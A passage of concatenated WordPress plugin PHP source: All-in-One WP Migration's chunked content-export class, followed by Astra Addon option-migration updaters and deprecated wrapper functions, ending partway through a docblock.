/** * Copyright (C) 2014-2025 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * Attribution: This code is part of the All-in-One WP Migration plugin, developed by * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Export_Content { public static function execute( $params ) { // Set archive bytes offset if ( isset( $params['archive_bytes_offset'] ) ) { $archive_bytes_offset = (int) $params['archive_bytes_offset']; } else { $archive_bytes_offset = ai1wm_archive_bytes( $params ); } // Set file bytes offset if ( isset( $params['file_bytes_offset'] ) ) { $file_bytes_offset = (int) $params['file_bytes_offset']; } else { $file_bytes_offset = 0; } // Set content bytes offset if ( isset( $params['content_bytes_offset'] ) ) { $content_bytes_offset = (int) $params['content_bytes_offset']; } else { $content_bytes_offset = 0; } // Get processed files size if ( isset( $params['processed_files_size'] ) ) { $processed_files_size = (int) $params['processed_files_size']; } else { $processed_files_size = 0; } // Get total content files size if ( isset( $params['total_content_files_size'] ) ) { $total_content_files_size = (int) $params['total_content_files_size']; } else { $total_content_files_size = 1; } // Get total content files count if ( isset( $params['total_content_files_count'] ) ) { $total_content_files_count = (int) $params['total_content_files_count']; } else { $total_content_files_count = 1; } // What percent of files have we processed? $progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving %d content files...
%d%% complete', AI1WM_PLUGIN_NAME ), $total_content_files_count, $progress ) ); // Flag to hold if file data has been processed $completed = true; // Start time $start = microtime( true ); // Get content list file $content_list = ai1wm_open( ai1wm_content_list_path( $params ), 'r' ); // Set the file pointer at the current index if ( fseek( $content_list, $content_bytes_offset ) !== -1 ) { // Open the archive file for writing $archive = new Ai1wm_Compressor( ai1wm_archive_path( $params ) ); // Set the file pointer to the one that we have saved $archive->set_file_pointer( $archive_bytes_offset ); // Loop over files while ( list( $file_abspath, $file_relpath, $file_size, $file_mtime ) = ai1wm_getcsv( $content_list ) ) { $file_bytes_written = 0; // Add file to archive if ( ( $completed = $archive->add_file( $file_abspath, $file_relpath, $file_bytes_written, $file_bytes_offset ) ) ) { $file_bytes_offset = 0; // Get content bytes offset $content_bytes_offset = ftell( $content_list ); } // Increment processed files size $processed_files_size += $file_bytes_written; // What percent of files have we processed? $progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving %d content files...
%d%% complete', AI1WM_PLUGIN_NAME ), $total_content_files_count, $progress ) ); // More than 10 seconds have passed, break and do another request if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) { if ( ( microtime( true ) - $start ) > $timeout ) { $completed = false; break; } } } // Get archive bytes offset $archive_bytes_offset = $archive->get_file_pointer(); // Truncate the archive file $archive->truncate(); // Close the archive file $archive->close(); } // End of the content list? if ( feof( $content_list ) ) { // Unset archive bytes offset unset( $params['archive_bytes_offset'] ); // Unset file bytes offset unset( $params['file_bytes_offset'] ); // Unset content bytes offset unset( $params['content_bytes_offset'] ); // Unset processed files size unset( $params['processed_files_size'] ); // Unset total content files size unset( $params['total_content_files_size'] ); // Unset total content files count unset( $params['total_content_files_count'] ); // Unset completed flag unset( $params['completed'] ); } else { // Set archive bytes offset $params['archive_bytes_offset'] = $archive_bytes_offset; // Set file bytes offset $params['file_bytes_offset'] = $file_bytes_offset; // Set content bytes offset $params['content_bytes_offset'] = $content_bytes_offset; // Set processed files size $params['processed_files_size'] = $processed_files_size; // Set total content files size $params['total_content_files_size'] = $total_content_files_size; // Set total content files count $params['total_content_files_count'] = $total_content_files_count; // Set completed flag $params['completed'] = $completed; } // Close the content list file ai1wm_close( $content_list ); return $params; } }/** * Astra Addon Updates * * Functions for updating data, used by the background updater. * * @package Astra Addon * @version 2.1.3 */ defined( 'ABSPATH' ) || exit; /** * Version 4.0.0 backward handle. * * 1. Migrating Post Structure & Meta options in title area meta parts. * 2. Migrate existing setting & do required onboarding for new admin dashboard v4.0.0 app. * * @since 4.0.0 * @return void */ function astra_addon_background_updater_4_0_0() { // Dynamic customizer migration setup starts here. $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['addon-dynamic-customizer-support'] ) ) { $theme_options['addon-dynamic-customizer-support'] = true; update_option( 'astra-settings', $theme_options ); } // Admin dashboard migration starts here. $admin_dashboard_settings = get_option( 'astra_admin_settings', array() ); if ( ! isset( $admin_dashboard_settings['addon-setup-admin-migrated'] ) ) { // Insert fallback whitelabel icon for agency users to maintain their branding. if ( is_multisite() ) { $branding = get_site_option( '_astra_ext_white_label' ); } else { $branding = get_option( '_astra_ext_white_label' ); } if ( ( isset( $branding['astra-agency']['hide_branding'] ) && true === (bool) $branding['astra-agency']['hide_branding'] ) && ! isset( $branding['astra']['icon'] ) ) { $branding['astra']['icon'] = ASTRA_EXT_URI . 'admin/core/assets/images/whitelabel-branding.svg'; if ( is_multisite() ) { update_site_option( '_astra_ext_white_label', $branding ); } else { update_option( '_astra_ext_white_label', $branding ); } } // Consider admin part from addon side migrated. $admin_dashboard_settings['addon-setup-admin-migrated'] = true; update_option( 'astra_admin_settings', $admin_dashboard_settings ); } } /** * Backward handle for 4.1.0 * * @since 4.1.0 * @return void */ function astra_addon_background_updater_4_1_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['single-product-add-to-cart-action'] ) && isset( $theme_options['single-product-ajax-add-to-cart'] ) ) { $theme_options['single-product-add-to-cart-action'] = 'rt_add_to_cart'; update_option( 'astra-settings', $theme_options ); } } /** * Improve sale badge background color option for WooCommerce catalog design 2. * * @since 4.1.6 * @return void */ function astra_addon_background_updater_4_1_6() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['apply-modern-layout-sale-badge-styles'] ) ) { $theme_options['apply-modern-layout-sale-badge-styles'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Improve full screen search Submit button style. * * @since 4.6.0 * @return void */ function astra_addon_background_updater_4_4_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-4-0-backward-option'] ) ) { $theme_options['v4-4-0-backward-option'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Update default spacing for primary menu in old hf builder. * * @since 4.6.0 * @return void */ function astra_addon_background_updater_4_6_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['update-default-spacing-for-header'] ) ) { $theme_options['update-default-spacing-for-header'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Restrict banner layout-2 if page header is active. * * @since 4.6.1 * @return void */ function astra_addon_background_updater_4_6_1() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['restrict-banner-layout-with-page-header'] ) ) { $theme_options['restrict-banner-layout-with-page-header'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Backward compatibility for version 4.6.8 * * @since 4.6.8 * @return void */ function astra_addon_background_updater_4_6_8() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['site-builder-templates-headings-space'] ) ) { $theme_options['site-builder-templates-headings-space'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Backward compatibility for version 4.7.0 * * @since 4.7.0 * @return void */ function astra_addon_background_updater_4_7_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['hiding_social_share_icon_position'] ) ) { $theme_options['hiding_social_share_icon_position'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Background updater function for addon v4.8.4 * * @since 4.8.4 * @return void */ function astra_addon_background_updater_4_8_4() { $theme_options = get_option( 'astra-settings', array() ); if ( isset( $theme_options['blog-grid'] ) ) { // Get responsive blog grid columns values. $theme_options['blog-grid-resp'] = astra_addon_get_blog_grid_columns(); // Update the responsive blog grid column desktop value from old blog grid option. $theme_options['blog-grid-resp']['desktop'] = $theme_options['blog-grid']; update_option( 'astra-settings', $theme_options ); } }/** * Astra Theme Extension * * @package Astra Addon */ if ( ! function_exists( 'astra_get_theme_name' ) ) : /** * Get theme name. * * @return string Theme Name. */ function astra_get_theme_name() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $theme_name = __( 'Astra', 'astra-addon' ); return apply_filters( 'astra_theme_name', $theme_name ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound } endif;/** * Deprecated Functions of Astra Addon. * * @package Astra * @link https://wpastra.com/ * @since Astra 1.6.2 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'astra_pagination_infinite' ) ) : /** * Deprecating astra_pagination_infinite function. * * @since 3.5.7 * @deprecated 3.5.7 */ function astra_pagination_infinite() { _deprecated_function( __FUNCTION__, '3.5.7' ); } endif; if ( ! function_exists( 'astra_shop_pagination_infinite' ) ) : /** * Deprecating astra_shop_pagination_infinite function. * * @since 3.5.7 * @deprecated 3.5.7 */ function astra_shop_pagination_infinite() { _deprecated_function( __FUNCTION__, '3.5.7' ); } endif; if ( ! function_exists( 'astra_addon_clear_assets_cache' ) ) : /** * Deprecating astra_addon_clear_assets_cache function. * * @since 3.5.9 * @deprecated 3.5.9 */ function astra_addon_clear_assets_cache() { _deprecated_function( __FUNCTION__, '3.5.9' ); } endif; /** * Deprecating astra_get_supported_posts function. * * Getting Astra theme name. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_get_supported_posts() * @param boolean $with_tax Post has taxonomy. * * @see astra_addon_get_supported_posts() * * @return string */ function astra_get_supported_posts( $with_tax ) { _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_get_supported_posts()' ); return astra_addon_get_supported_posts( $with_tax ); } /** * Deprecating astra_rgba2hex function. * * Getting Astra theme name. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_rgba2hex() * @param string $string Color code in RGBA / RGB format. * @param string $include_alpha Color code in RGBA / RGB format. * * @see astra_addon_rgba2hex() * * @return string Return HEX color code. */ function astra_rgba2hex( $string, $include_alpha = false ) { _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_rgba2hex()' ); return astra_addon_rgba2hex( $string, $include_alpha = false ); } /** * Deprecating astra_check_is_hex function. * * Getting Astra theme name. * * @since 3.6.2 * @param string $string Color code any format. * * @see astra_addon_check_is_hex() * * @return boolean Return true | false. */ function astra_check_is_hex( $string ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_check_is_hex()' ); return astra_addon_check_is_hex( $string ); } /** * Deprecating is_support_swap_mobile_below_header_sections function. * * Checking backward flag to support swapping of sections in mobile-below header. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_swap_mobile_below_header_sections() * @see astra_addon_swap_mobile_below_header_sections() * * @return bool true|false */ function is_support_swap_mobile_below_header_sections() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_swap_mobile_below_header_sections()' ); return astra_addon_swap_mobile_below_header_sections(); } /** * Deprecating sticky_header_default_site_title_tagline_css_comp function. * * Sticky header's title-tagline CSS compatibility backward check. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_sticky_site_title_tagline_css_comp() * @see astra_addon_sticky_site_title_tagline_css_comp() * * @return bool true|false */ function sticky_header_default_site_title_tagline_css_comp() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_sticky_site_title_tagline_css_comp()' ); return astra_addon_sticky_site_title_tagline_css_comp(); } /** * Deprecating is_support_swap_mobile_above_header_sections function. * * Checking backward flag to support swapping of sections in mobile-above header. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_support_swap_mobile_above_header_sections() * @see astra_addon_support_swap_mobile_above_header_sections() * * @return bool true|false */ function is_support_swap_mobile_above_header_sections() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_support_swap_mobile_above_header_sections()' ); return astra_addon_support_swap_mobile_above_header_sections(); } /** * Deprecating astra_return_content_layout_page_builder function. * * Getting 'page-builder' layout. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_return_content_layout_page_builder() * @see astra_addon_return_content_layout_page_builder() * * @return string page-builder string used for filter `astra_get_content_layout` */ function astra_return_content_layout_page_builder() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_return_content_layout_page_builder()' ); return astra_addon_return_content_layout_page_builder(); } /** * Deprecating astra_return_page_layout_no_sidebar function. * * Getting 'no-sidebar' layout option. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_return_page_layout_no_sidebar() * @see astra_addon_return_page_layout_no_sidebar() * * @return string page-builder string used for filter `astra_get_content_layout` */ function astra_return_page_layout_no_sidebar() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_return_page_layout_no_sidebar()' ); return astra_addon_return_page_layout_no_sidebar(); } /** * Deprecating astra_pro_is_emp_endpoint function. * * Checking if AMP is setup or not. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_is_amp_endpoint() * @see astra_addon_is_amp_endpoint() * * @return string page-builder string used for filter `astra_get_content_layout` */ function astra_pro_is_emp_endpoint() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_is_amp_endpoint()' ); return astra_addon_is_amp_endpoint(); } /** * Deprecating is_astra_breadcrumb_trail function. * * Checking if breadcrumb with trail. * * @since 3.6.2 * @param string $echo Whether to echo or return. * * @see astra_addon_is_breadcrumb_trail() * * @return string breadcrumb markup */ function is_astra_breadcrumb_trail( $echo ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_is_breadcrumb_trail()' ); return astra_addon_is_breadcrumb_trail( $echo ); } /** * Deprecating astra_breadcrumb_shortcode function. * * Breadcrumb markup shortcode based. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_breadcrumb_shortcode() * @see astra_addon_breadcrumb_shortcode() * * @return string */ function astra_breadcrumb_shortcode() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_breadcrumb_shortcode()' ); return astra_addon_breadcrumb_shortcode(); } /** * Deprecating astra_get_template function. * * Getting Astra Pro's template. * * @since 3.6.2 * @param string $template_name template path. E.g. (directory / template.php). * @param array $args (default: array()). * @param string $template_path (default: ''). * @param string $default_path (default: ''). * * @see astra_addon_get_template() * * @return callback */ function astra_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_get_template()' ); return astra_addon_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ); } /** * Deprecating astra_locate_template function. * * Locate Astra Pro's template. * * @since 3.6.2 * @param string $template_name template path. E.g. (directory / template.php). * @param string $template_path (default: ''). * @param string $default_path (default: ''). * * @see astra_addon_locate_template() * * @return string return the template path which is maybe filtered. */ function astra_locate_template( $template_name, $template_path = '', $default_path = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_locate_template()' ); return astra_addon_locate_template( $template_name, $template_path = '', $default_path = '' ); } /** * Deprecating astra_ext_adv_search_dynamic_css function. * * Advanced search's dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_adv_search_dynamic_css() * * @return string */ function astra_ext_adv_search_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_adv_search_dynamic_css()' ); return astra_addon_adv_search_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_advanced_search_dynamic_css function. * * Advanced search's dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_advanced_search_dynamic_css() * * @return string */ function astra_ext_advanced_search_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_advanced_search_dynamic_css()' ); return astra_addon_advanced_search_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_header_builder_sections_colors_dynamic_css function. * * Astra builder sections advanced color & background specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_builder_sections_colors_dynamic_css() * * @return string */ function astra_ext_header_builder_sections_colors_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_builder_sections_colors_dynamic_css()' ); return astra_addon_header_builder_sections_colors_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_header_sections_colors_dynamic_css function. * * Astra's old header sections dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_sections_colors_dynamic_css() * * @return string */ function astra_ext_header_sections_colors_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_sections_colors_dynamic_css()' ); return astra_addon_header_sections_colors_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ldrv3_dynamic_css function. * * Learndash extension specific dynamic CSS. * * @since 3.6.2 * * @see astra_addon_ldrv3_dynamic_css() * * @return string */ function astra_ldrv3_dynamic_css() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_ldrv3_dynamic_css()' ); return astra_addon_ldrv3_dynamic_css(); } /** * Deprecating astra_learndash_dynamic_css function. * * Learndash extension specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_learndash_dynamic_css() * * @return string */ function astra_learndash_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_learndash_dynamic_css()' ); return astra_addon_learndash_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_above_header_dynamic_css function. * * Astra's old header mobile layout specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_above_header_dynamic_css() * * @return string */ function astra_ext_mobile_above_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mobile_above_header_dynamic_css()' ); return astra_addon_mobile_above_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_below_header_dynamic_css function. * * Astra's old header mobile layout specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_below_header_dynamic_css() * * @return string */ function astra_ext_mobile_below_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mobile_below_header_dynamic_css()' ); return astra_addon_mobile_below_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_header_colors_background_dynamic_css function. * * Astra's old header mobile layout colors-background specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_header_colors_background_dynamic_css() * * @return string */ function astra_ext_mobile_header_colors_background_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mobile_header_colors_background_dynamic_css()' ); return astra_addon_mobile_header_colors_background_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_header_spacing_dynamic_css function. * * Astra's old header mobile layout spacing specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_header_spacing_dynamic_css() * * @return string */ function astra_ext_mobile_header_spacing_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mobile_header_spacing_dynamic_css()' ); return astra_addon_mobile_header_spacing_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_header_dynamic_css function. * * Astra's old header mobile layout specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_header_dynamic_css() * * @return string */ function astra_ext_mobile_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mobile_header_dynamic_css()' ); return astra_addon_mobile_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mega_menu_dynamic_css function. * * Megamenu dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mega_menu_dynamic_css() * * @return string */ function astra_ext_mega_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mega_menu_dynamic_css()' ); return astra_addon_mega_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_scroll_to_top_dynamic_css function. * * Scroll to top ext dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_scroll_to_top_dynamic_css() * * @return string */ function astra_ext_scroll_to_top_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_scroll_to_top_dynamic_css()' ); return astra_addon_scroll_to_top_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_fb_button_dynamic_css function. * * Footer builder - Button dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_footer_button_dynamic_css() * * @return string */ function astra_ext_fb_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_footer_button_dynamic_css()' ); return astra_addon_footer_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_fb_divider_dynamic_css function. * * Footer builder - Divider dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_footer_divider_dynamic_css() * * @return string */ function astra_fb_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_footer_divider_dynamic_css()' ); return astra_addon_footer_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_fb_lang_switcher_dynamic_css function. * * Footer builder - Language switcher dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_footer_lang_switcher_dynamic_css() * * @return string */ function astra_fb_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_footer_lang_switcher_dynamic_css()' ); return astra_addon_footer_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_footer_social_dynamic_css function. * * Footer builder - Social dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_footer_social_dynamic_css() * * @return string */ function astra_footer_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_footer_social_dynamic_css()' ); return astra_addon_footer_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_hb_divider_dynamic_css function. * * Header builder - Divider dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_divider_dynamic_css() * * @return string */ function astra_hb_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_divider_dynamic_css()' ); return astra_addon_header_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_hb_button_dynamic_css function. * * Footer builder - Social dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_button_dynamic_css() * * @return string */ function astra_ext_hb_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_button_dynamic_css()' ); return astra_addon_header_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_hb_lang_switcher_dynamic_css function. * * Header builder - Language switcher dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_lang_switcher_dynamic_css() * * @return string */ function astra_hb_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_lang_switcher_dynamic_css()' ); return astra_addon_header_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_hb_menu_dynamic_css function. * * Header builder - Menu dynamic 